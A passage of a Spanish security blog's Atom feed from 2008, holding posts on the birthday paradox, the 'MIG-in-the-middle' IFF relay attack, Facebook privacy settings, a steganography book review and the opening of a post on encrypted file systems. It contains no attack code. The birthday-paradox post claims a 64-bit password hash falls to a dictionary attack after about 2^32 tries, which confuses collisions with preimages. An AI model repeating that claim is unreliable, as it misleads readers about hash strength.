(con barra arriba)&lt;/span&gt; por 364/365 y veríamos que &lt;span style="font-style: italic;"&gt;n&lt;/span&gt; es efectivamente 23.&lt;br /&gt;&lt;br /&gt;Pero pongamos otro ejemplo más interesante del mundo de la &lt;span style="font-weight: bold;"&gt;seguridad informática&lt;/span&gt;. Supongamos que nos llega un comercial para vendernos un sistema de reconocimiento facial. El cacharro se colocaría a la entrada del recinto y sustituiría a la clásica máquina de fichar, lo que eliminaría las colas cuando los 5.000 empleados de nuestra organización llegasen cada mañana. El comercial nos dice muy seguro de si mismo que la máquina tiene una probabilidad de confundir a dos personas de 1 entre 1.000.000 (es decir, una probabilidad de acierto de 0.999999) , por lo que se queda atónito cuando rechazamos su sistema por inseguro. ¿Por qué es inseguro?, porque si aplicamos los datos anteriores a la fórmula (teniendo en cuenta que &lt;span style="font-style: italic;"&gt;p(barra)&lt;/span&gt; es 0.999999) veremos que las posibilidades de error del equipo son superiores a 0.5 una vez que han pasado por ella 1178 empleados. Dicho de otra manera, no habría manera de acabar la mañana sin que la maquinita se equivocase.&lt;br /&gt;&lt;br /&gt;Un &lt;span style="font-weight: bold;"&gt;truco muy útil&lt;/span&gt; es que, cuando tratamos con grandes números, se puede aproximar la fórmula general a esta otra:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SK2bwTjGZDI/AAAAAAAAAEE/VXexxyvPCms/s1600-h/aproximacion.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SK2bwTjGZDI/AAAAAAAAAEE/VXexxyvPCms/s320/aproximacion.png" alt="" id="BLOGGER_PHOTO_ID_5237013195885274162" border="0" /&gt;&lt;/a&gt;Siendo &lt;span style="font-style: italic;"&gt;N&lt;/span&gt; el inverso de &lt;span style="font-style: italic;"&gt;p&lt;/span&gt; (probabilidad de ocurrencia con una única pareja de elementos). En el caso del cumpleaños &lt;span style="font-style: italic;"&gt;N&lt;/span&gt; sería 365, por lo que la aproximación daría &lt;span style="font-style: italic;"&gt;n&lt;/span&gt;=19.10 y en el caso del reconocimiento facial &lt;span style="font-style: italic;"&gt;N&lt;/span&gt; sería 1.000.000 y obtendríamos una aproximación de &lt;span style="font-style: italic;"&gt;n&lt;/span&gt;=1000.&lt;br /&gt;&lt;br /&gt;Esta aproximación se utiliza mucho en el mundo de la &lt;span style="font-weight: bold;"&gt;criptografía&lt;/span&gt; donde la paradoja del cumpleaños se tiene muy presente. Por ejemplo, supongamos que tenemos una tabla de contraseñas cifradas con un algoritmo de hash de 64 bits y estamos tranquilos porque creemos que un ataque de diccionario tendría que hacer 2^64 intentos antes de dar con nuestra contraseña... pues no, nada más lejos de la realidad ya que la paradoja del cumpleaños nos demuestra que el atacante seguramente dará con nuestra contraseña cuando haya hecho poco más de 2^32 intentos.&lt;br /&gt;&lt;br /&gt;Como se puede ver por todo lo anterior la paradoja del cumpleaños trasciende de lo meramente anecdótico convirtiéndose en una herramienta importantísima de cualquier ingeniero de seguridad que se precie.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-240818289820853756?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/zZ9cDy9t8Waq0kSjkX0VJLOsalA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zZ9cDy9t8Waq0kSjkX0VJLOsalA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/zZ9cDy9t8Waq0kSjkX0VJLOsalA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zZ9cDy9t8Waq0kSjkX0VJLOsalA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/sxdbGijZgio" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/240818289820853756/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=240818289820853756" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/240818289820853756?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/240818289820853756?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/sxdbGijZgio/la-paradoja-del-cumpleaos.html" title="La paradoja del cumpleaños" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_czXkQpCMagk/SK2Kqcny0TI/AAAAAAAAADs/X9rJJVhkaig/s72-c/birthday-muffin.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/08/la-paradoja-del-cumpleaos.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04ASH89fCp7ImA9WxdaEEU.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-2956656401686430256</id><published>2008-08-17T23:23:00.008+02:00</published><updated>2008-08-18T19:52:29.164+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-18T19:52:29.164+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="protocolos" /><title>MIG-in-the-middle</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SKi1TRszk_I/AAAAAAAAACM/vA8z5W1ToKA/s1600-h/mig21_08.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 238px; height: 167px;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SKi1TRszk_I/AAAAAAAAACM/vA8z5W1ToKA/s320/mig21_08.jpg" alt="" id="BLOGGER_PHOTO_ID_5235633909591675890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Un ataque &lt;span style="font-style: italic;"&gt;man-in-the-middle&lt;/span&gt; se produce cuando un tercero se sitúa entre dos principales, ya sean personas o algún tipo de equipo, y les engaña haciéndoles creer a cada de ellos que él es el otro principal. Para ello actúa de intermediario modificando el flujo de información intercambiado por los principales según sus intereses. La única solución a este tipo de ataques es el cifrado de la comunicaciones mediante un protocolo que implique un intercambio de claves a través de un canal seguro, de manera que aunque un atacante pudiese intervenir la comunicación sería incapaz de entenderla o de modificarla sin ser detectado por los controles de integridad.&lt;br /&gt;&lt;br /&gt;Hasta ahí la teoría. La práctica admite multitud de variantes, que de hecho se han dado a lo largo de la historia. Uno de los ejemplos más espectaculares me lo he encontrado durante la lectura de &lt;a href="http://www.amazon.com/Security-Engineering-Building-Dependable-Distributed/dp/0470068523/ref=pd_bbs_sr_1?ie=UTF8&amp;amp;s=books&amp;amp;qid=1219013186&amp;amp;sr=1-1"&gt;Security Engineering&lt;/a&gt;, de Ross Anderson. Para ilustrar la disertación sobre los ataques man-in-the-middle, el autor cuenta el desastre sufrido por las tropas sudafricanas a raíz de una variante del ataque que el tiempo ha acabado llamando &lt;span style="font-style: italic;"&gt;MIG-in-the-middle&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;A finales de los 80, Sudáfrica estaba implicaba en una guerra en el norte de Namibia y en el sur de Angola. Su objetivo era mantener al gobierno blanco de Namibia y poner al gobierno títere  de la UNITA en Angola. Como el ejército sudafricano estaba formado exclusivamente por reclutas blancos y estos no representaban precisamente un segmento de población numerosa era esencial mantener una tasa de bajas lo más reducida posible. Por eso el ejército sudafricano prefería concentrarse en mantener el orden en Namibia y apoyar con sus fuerzas aéreas a las tropas de la UNITA en Angola. Para evitar que las tropas rebeldes angoleñas y sus aliados cubanos no realizasen contraataques aéreos contra Namibia, Sudáfrica desplegó una poderosa barrera de baterías antiaéreas. Para que no se diese el llamado "&lt;span style="font-style: italic;"&gt;fuego amigo&lt;/span&gt;", los aviones sudafricanos iban equipados con dispositivos IFF (&lt;span style="font-style: italic;"&gt;identify-friend-or-foe&lt;/span&gt;), comunes hoy día, los cuales respondían según un algoritmo preestablecido a las señales enviadas por las baterías antiaéreas de manera que estas identificasen como amigos a los aviones sudafricanos. En realidad no era sino la versión tecnológica del clásico sistema de "santo-y-seña".&lt;br /&gt;&lt;br /&gt;El sistema defensivo parecía imbatible y, sin embargo, un buen día un escuadrón de MIGs cubanos atravesó la línea de defensa y bombardeó uno de los principales campamentos sudafricanos de Namibia sin que las baterías antiaéreas de la frontera disparasen un sólo tiro. Las bajas fueron terribles y motivaron que el gobierno sudafricano decidiese retirar las tropas de Namibia, lo que con el tiempo llevó a que cayese el gobierno blanco de aquel país.&lt;br /&gt;&lt;br /&gt;Pasó un tiempo hasta que se descubrieron (y se confesaron) las causas de aquel fallo garrafal en la defensa sudafricana. Parece ser que la inteligencia angoleña averiguó que los sudafricanos, quizás por un exceso de confianza, dejaban encendidos sus dispositivos IFF cuando realizaban misiones sobre territorio angoleño por lo que hicieron que una escuadrilla de MIGs esperase cerca de la frontera de Namibia a que otra escuadrilla, esta vez sudafricana (SAAF en la figura), sobrevolase Angola&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_czXkQpCMagk/SKi1cPrRwyI/AAAAAAAAACU/0SwXEtUf84U/s1600-h/mig-in-the-middle.PNG"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://4.bp.blogspot.com/_czXkQpCMagk/SKi1cPrRwyI/AAAAAAAAACU/0SwXEtUf84U/s320/mig-in-the-middle.PNG" alt="" id="BLOGGER_PHOTO_ID_5235634063667217186" border="0" /&gt;&lt;/a&gt; para realizar un bombardeo. Cuando los sudafricanos hicieron acto de presencia sobre Angola para llevar a cabo sus respectivas misiones, los MIGs penetraron en territorio de Namibia. Por supuesto, las baterías antiaéreas sudafricanas detectaron a los MIGs y lanzaron las señales IFF para averiguar si se trataba de aviones amigos o enemigos. Los MIGs carecían de las claves necesarias para responder correctamente a las señales IFF, por eso su plan era reenviar las señales a sus estaciones de radio en Angola y que estas se las sirviesen a la escuadrilla sudafricana que estaba sobrevolando aquel país en ese momento. El plan funcionó porque los aviones sudafricanos tenían encendidos sus IFF y, cuando las estaciones de radio angoleñas emitieron las señales remitidas por los MIGs, los sudafricanos comenzaron a emitir sin saberlo las señales de respuesta correctas que por supuesto  los angoleños se ocuparon de captar y de reenviarselas a sus MIGs para que estos se las sirviesen en bandeja a las baterías de Namibia. Así, las defensas aéreas sudafricanas en Namibia se tragaron que aquella escuadrilla de MIGs eran aviones amigos, dándole vía libre.&lt;br /&gt;&lt;br /&gt;Aquel ataque obligó a replantearse profundamente la tecnología, los protocolos y los procedimientos operativos utilizados para el IFF. Para empezar, a nivel operativo se prohibió a los pilotos  que tuviesen sus IFFs encendidos cuando volasen sobre territorio enemigo. A nivel de protocolo la solución fue mucho más difícil de encontrar y desde luego no fue definitiva, ya que lo que se empezó a hacer fue incluir la identificación del avión en la respuesta devuelta por el IFF de manera que se pudiesen cruzar los datos de las torres de control con los de las baterías para obtener divergencias. Otro método que se intentó fue medir los retardos de las respuestas de manera que si alguna llegaba "mas tarde" de lo normal se podía sospechar que el IFF que la había generado estaba más lejos que el avión detectado. Hay que tener en cuenta que ante este ataque concreto el cifrado de las comunicaciones no supone defensa alguna ya que los MIGs no necesitaban romper ni la confidencilidad ni la integridad de las señales IFF, ya que les bastaba con "reflejarlas" hacia sus estaciones de radio. Todas estas respuestas distan mucho de ser perfectas y mucho menos viables en áreas de batalla atestadas de tráfico aéreo de los dos bandos, es por ello que las técnicas de IFF suponen un campo en constante desarrollo para evitar desastres como el provocado por el ataque MIG-in-the-middle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-2956656401686430256?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/OiBp7hCzFGB6XNIiV3tiT-DVi-c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/OiBp7hCzFGB6XNIiV3tiT-DVi-c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/OiBp7hCzFGB6XNIiV3tiT-DVi-c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/OiBp7hCzFGB6XNIiV3tiT-DVi-c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/nPm7JKMrGEI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/2956656401686430256/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=2956656401686430256" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/2956656401686430256?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/2956656401686430256?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/nPm7JKMrGEI/mig-in-middle.html" title="MIG-in-the-middle" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_czXkQpCMagk/SKi1TRszk_I/AAAAAAAAACM/vA8z5W1ToKA/s72-c/mig21_08.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/08/mig-in-middle.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEQDQnczeip7ImA9WxdbFko.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-3344626753950163390</id><published>2008-08-13T17:19:00.008+02:00</published><updated>2008-08-14T03:12:53.982+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-08-14T03:12:53.982+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="privacidad" /><title>Seguridad en Facebook</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.facebook.com"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 238px; height: 113px;" src="http://static.ak.fbcdn.net/images/welcome/welcome_3.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;a href="http://www.facebook.com"&gt;&lt;br /&gt;Facebook&lt;/a&gt; ha resultado ser uno de los fenómenos más sorprendentes ocurridos en Internet en los últimos años. Con un crecimiento aproximado de hasta 100.000 nuevos usuarios al día se ha convertido en un medio habitual de muchos grupos de amigos para estar al tanto de la vida de sus miembros y mantenerse en contacto.&lt;br /&gt;&lt;br /&gt;Sin embargo, también presenta importantes desafíos desde el punto de vista de la seguridad al ofrecer una vía para acceder a nuestros datos personales, con el peligro que ello supone. Una cosa es que nuestros amigos íntimos accedan a nuestras fotos haciendo el chorra durante las vacaciones y otra que el que acceda sea nuestro jefe. Otro posible riesgo, aparte de la pérdida de privacidad, viene del cruce de nuestros datos personales con el fin de deducir nuestras claves y contraseñas.&lt;br /&gt;&lt;br /&gt;A pesar de todo lo anterior, la mayor parte de la gente deja su perfil de Facebook accesible y deposita en él datos que jamás pondría en el tablón de anuncios de su urbanización o de su trabajo.&lt;br /&gt;&lt;br /&gt;A lo largo de este artículo veremos una serie de parámetros con los que reforzar la seguridad de los datos personales que constan en nuestro perfil. Todos estos parámetros se configuran dentro del apartado de &lt;span style="font-style: italic;"&gt;Privacidad&lt;/span&gt;, accesible desde la esquina superior derecha de Facebook.&lt;br /&gt;&lt;br /&gt;Dentro del apartado de Privacidad, el primer elemento a configurar es el de &lt;span style="font-style: italic;"&gt;Perfil&lt;/span&gt;, con el se define quién puede ver los distintos elementos de nuestro perfil. Hay que tener en cuenta que Facebook utiliza por defecto el valor "&lt;span style="font-weight: bold;"&gt;Mis redes y amigos&lt;/span&gt;", lo que supone un auténtico agujero de seguridad ya que si pertenecemos a una red nacional (Facebook nos sitúa por defecto en la red de nuestro país) todos los miembros que sean de nuestro país (o de cualquiera de nuestras redes) podrá ver nuestro perfil. Lo más seguro es fijar todos los elementos al valor "&lt;span style="font-weight: bold;"&gt;Sólo mis amigos&lt;/span&gt;". A no ser que se tenga muy claro lo que se está haciendo, lo mejor es no usar el valor "&lt;span style="font-weight: bold;"&gt;Amigos de mis amigos&lt;/span&gt;" ya que implica unas transitividad muy peligrosa en las relaciones de confianza que estamos intentando configurar (cuando hablamos de seguridad, los amigos de mis amigos NO necesariamente tienen que ser mis amigos).&lt;br /&gt;&lt;br /&gt;El siguiente apartado a configurar dentro del de Privacidad es el de &lt;span style="font-style: italic;"&gt;Búsqueda, &lt;/span&gt;a través del que se configura si queremos que nuestro perfil pueda ser localizado a través de la barra de búsquedas de Facebook.  Si no queremos que la gente que conocemos sepa que usamos Facebook lo mejor es que fijemos esta opción a "&lt;span style="font-weight: bold;"&gt;Sólo mis amigos&lt;/span&gt;" y que desmarquemos la opción que se encarga de anunciar nuestro perfil a los motores de búsquedas. El resto de las opciones fijan los medios que tienen los que aún no son nuestros amigos para contactarnos. Hay que tener en cuenta que algunas de estas opciones (el envío de mensajes y el toque) permiten que personas que no sean nuestros amigos puedan ver nuestro perfil durante un tiempo por lo que se recomienda desactivarlos. Si se quiere dejar una foto de perfil que nos identifique, lo mejor es que esta no sea muy comprometedora o que desactivemos la opción de que sea visible a los desconocidos. Por último, lo más recomendable es desactivar la opción de que nuestra lista de amigos sea visible, así evitaremos que se pueda obtener información sobre nosotros de manera indirecta a través de nuestros amigos, por ejemplo a través de las fotografías que tengan de nosotros.&lt;br /&gt;&lt;br /&gt;Lo siguiente a configurar es lo referente a las "&lt;span style="font-style: italic;"&gt;Noticias y mini-noticias&lt;/span&gt;". En esta sección se define de cuales de nuestras actividades se puede notificar a nuestros amigos cuando acceden a su Facebook. Lo que configuremos aquí depende del nivel de "ruido" que queramos meter a nuestros amigos, pero no supone un riesgo excesivo de seguridad.&lt;br /&gt;&lt;br /&gt;Por último está el apartado del acceso que le damos a las aplicaciones que instalamos en nuestro Facebook. En general, las aplicaciones podrán acceder a un subconjunto determinado de información de nuestro perfil por lo que se debe tener cuidado con las aplicaciones que se añaden a los perfiles, ya que la información puede compartirse con los creadores de las mismas. Facebook ha publicado términos del servicio para informar a los usuarios sobre los comportamientos aceptables, pero siempre existe el peligro de que alguien no los cumpla, así que lo mejor es instalar sólo lo imprescindible.&lt;br /&gt;&lt;br /&gt;A pesar de todo, y a modo de advertencia, los parámetros anteriores no son la panacea y hay que reconocer que Facebook sufre agujeros de seguridad fruto de su diseño. Uno de estos agujeros se refiere a las fotos de nuestros álbumes. A pesar de que podemos configurar los álbumes para que sólo sean accesibles por nuestros amigos, lo cierto es que cada una de esas fotos está referenciada con una URL que se puede utilizar para visualizar la foto sin necesidad de estar logueado en Facebook. Así que sólo hace falta un amigo desleal que haga circular la URL de una foto comprometedora para que esta sea visualizable por todo Internet.&lt;br /&gt;&lt;br /&gt;Así que mucho ojo con lo que colgamos en Facebook. Lo mejor es seguir el criterio de poner sólo aquello que no nos importaría ver colgado del tablón de anuncios de nuestra urbanización u oficina.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-3344626753950163390?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/V2BWPvS6IAlC7JcQo8uaNdDwWGU/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V2BWPvS6IAlC7JcQo8uaNdDwWGU/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/V2BWPvS6IAlC7JcQo8uaNdDwWGU/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V2BWPvS6IAlC7JcQo8uaNdDwWGU/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/goOvteFZI8s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/3344626753950163390/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=3344626753950163390" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3344626753950163390?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/3344626753950163390?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/goOvteFZI8s/seguridad-en-facebook.html" title="Seguridad en Facebook" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/08/seguridad-en-facebook.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUEDRH0-eCp7ImA9WxZUGUg.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-2130163710653025694</id><published>2008-04-10T23:26:00.008+02:00</published><updated>2008-04-12T00:41:15.350+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-04-12T00:41:15.350+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="libros" /><category scheme="http://www.blogger.com/atom/ns#" term="criptografía" /><category scheme="http://www.blogger.com/atom/ns#" term="esteganografía" /><title>Disappearing Cryptography</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_czXkQpCMagk/R__ahs_uZxI/AAAAAAAAACE/HzZFBg-Ey1w/s1600-h/Disappearing_Cryptography.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_czXkQpCMagk/R__ahs_uZxI/AAAAAAAAACE/HzZFBg-Ey1w/s320/Disappearing_Cryptography.JPG" alt="" id="BLOGGER_PHOTO_ID_5188105568303081234" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;El problema que tienen los libros de criptografía es que o bien requieren de una licenciatura en matemáticas para entenderlos, o bien se quedan en una serie de recetas algorítmicas para programadores. Encontrar una obra como esta, que sepa contentar tanto a los que buscan una base teórica sólida como a los que buscan un acercamiento más práctico resulta extremadamente difícil.&lt;br /&gt;&lt;br /&gt;Y es que el autor ha sabido estructurar un libro en diferentes capas que permiten un acercamiento progresivo a la materia sin que sea necesario profundizar en los detalles más arcanos para acabar la obra con una visión bastante clara de los fundamentos de la criptografía de ocultación o &lt;a href="http://es.wikipedia.org/wiki/Esteganograf%C3%ADa"&gt;esteganografía&lt;/a&gt;. Así, cada capítulo comienza con una descripción general del tema tratado para ir entrando poco a poco en materia matemática. El lector puede saltar en cualquier momento esta parte matemática  para ir a la algorítmica en la que se describen posibles formas de sacar partido práctico a todo lo anterior. Es tan didáctico y asequible que, aun careciendo de conocimientos previos de esteganografía,  a un lector con cierta agilidad en un lenguaje de programación no le costará realizar sus propias herramientas de ocultación de datos tras acabar el libro.&lt;br /&gt;&lt;br /&gt;Además, es bastante extensivo, tocando un amplio rango de técnicas de ocultación de información. Por ejemplo, resulta extremadamente interesante el capítulo dedicado a la esteganografía mediante gramáticas en la que usa códigos estructurados en árboles de tal manera que textos aparentemente anodinos contengan mensajes ocultos completamente distintos. El ejemplo que usa a partir de una supuesta retransmisión deportiva es de lo más revelador... Por supuesto, trata también las técnicas (más populares), de ocultación en imágenes y en sonidos entrando además en materias avanzadas, como la manipulación de los coeficientes de la FFT para ocultar información en formatos comprimidos de imagen, o diversas técnicas para realizar &lt;a href="http://es.wikipedia.org/wiki/Marca_de_agua_digital"&gt;marcado al agua o &lt;span style="font-style: italic;"&gt;watermarking&lt;/span&gt;&lt;/a&gt; resistentes a la supresión o manipulación. Toca también otros temas, que quizás no entren en el apartado de esteganografía desde un punto de vista ortodoxo, pero que desde luego resultan interesantes para cualquiera que estudie la materia. Se trata de la &lt;span style="font-style: italic;"&gt;anonimización&lt;/span&gt; de los servicios de correo electrónico o navegación a través de &lt;a href="http://www.iec.csic.es/criptonomicon/remailers.html"&gt;&lt;span style="font-style: italic;"&gt;remailers&lt;/span&gt;&lt;/a&gt; y &lt;a href="http://es.wikipedia.org/wiki/Peer-to-peer_an%C3%B3nimo"&gt;redes anónimas&lt;/a&gt; respectivamente.&lt;br /&gt;&lt;br /&gt;Los anexos merecen una mención aparte ya que en ellos el autor profundiza en la faceta práctica del libro. En uno de ellos ofrece un ejemplo práctico en Java de algunos de los temas tratados. En otro utiliza LISP para ilustrar el capítulo de la esteganografía respecto a gramáticas. Y en otro realiza una revisión intensiva de las herramientas esteganográficas disponibles en la red, así como la literatura disponible para profundizar en la materia.&lt;br /&gt;&lt;br /&gt;En definitiva, un libro altamente recomendable tanto para los ya expertos en criptografía y esteganografía como para aquellos que buscan iniciarse en esta disciplina.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://es.wikipedia.org/wiki/Marca_de_agua_digital"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-2130163710653025694?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/zdip7W1x8CVL8H3-bs6Z7noaWjQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zdip7W1x8CVL8H3-bs6Z7noaWjQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/zdip7W1x8CVL8H3-bs6Z7noaWjQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/zdip7W1x8CVL8H3-bs6Z7noaWjQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/aa44PxnU6s8" height="1" width="1"/&gt;</content><link rel="related" href="http://www.amazon.com/Disappearing-Cryptography-Second-Steganography-Watermarking/dp/1558607692/ref=pd_bbs_sr_1?ie=UTF8&amp;s=books&amp;qid=1207949750&amp;sr=8-1" title="Disappearing Cryptography" /><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/2130163710653025694/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=2130163710653025694" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/2130163710653025694?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/2130163710653025694?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/aa44PxnU6s8/disappearing-cryptography.html" title="Disappearing Cryptography" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_czXkQpCMagk/R__ahs_uZxI/AAAAAAAAACE/HzZFBg-Ey1w/s72-c/Disappearing_Cryptography.JPG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/04/disappearing-cryptography.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEDQXo-eip7ImA9WxZUFEQ.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-4109973102036622223</id><published>2008-03-30T19:31:00.004+02:00</published><updated>2008-04-06T16:37:50.452+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-04-06T16:37:50.452+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="criptografía" /><title>Sistemas de ficheros criptográficos</title><content type="html">&lt;div style="text-align: justify;"&gt;A estas alturas resulta redundante explicar los motivos para utilizar técnicas criptográficas. A lo largo de la historia hemos visto multitud de ejemplos que se resumen en la premisa de que&lt;span style="font-style: italic;"&gt; alguien quiere mantener en secreto algo que a otro le gustaría saber&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;En el momento en que los 